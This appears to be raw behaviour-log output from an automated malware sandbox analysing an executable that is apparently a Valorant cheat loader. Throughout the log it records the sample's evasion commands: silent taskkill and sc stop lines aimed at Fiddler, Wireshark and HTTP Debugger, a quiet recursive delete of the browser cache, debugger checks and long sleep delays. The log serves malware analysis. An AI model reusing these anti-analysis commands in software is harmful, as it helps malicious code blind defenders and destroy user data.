Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: PlusPrivStoreAtt116.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: PlusPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: PlusPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: PlusPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: PlusPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: PlusPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: PlusPrivStoreAtt116.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: PlusPrivStoreAtt116.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: PlusPrivStoreAtt116.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\BACKUP BOTS PRIVATE STORE\Loader Valorant Plus\x64\Release\EpicGames.pdb source: PlusPrivStoreAtt116.exe
Source:	Binary string: .D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\BACKUP BOTS PRIVATE STORE\Loader Valorant Plus\x64\Release\EpicGames.pdb source: PlusPrivStoreAtt116.exe

Source: PlusPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: PlusPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: PlusPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: PlusPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: PlusPrivStoreAtt116.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Code function: 0_2_00007FF6029C9290 WSAStartup,WSACleanup,GetModuleHandleA,GetProcAddress,strpbrk,LoadLibraryA,GetProcAddress,LoadLibraryExA,GetSystemDirectoryA,malloc,GetSystemDirectoryA,LoadLibraryA,free,GetProcAddress,if_nametoindex,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,QueryPerformanceFrequency,

0_2_00007FF6029C9290

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro

Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Window / User API: threadDelayed 5113	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Window / User API: threadDelayed 4861	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 3570	Jump to behavior

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

API coverage: 5.2 %

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe TID: 5876	Thread sleep time: -255650s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe TID: 5876	Thread sleep time: -243050s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Code function: 0_2_00007FF602A0067C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF602A0067C

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Code function: 0_2_00007FF602A00A18 memset,GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF602A00A18

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

0_2_00007FF6029C9290

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF602A00384 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF602A00384
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF602A00824 SetUnhandledExceptionFilter,	0_2_00007FF602A00824
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF602A0067C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF602A0067C

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
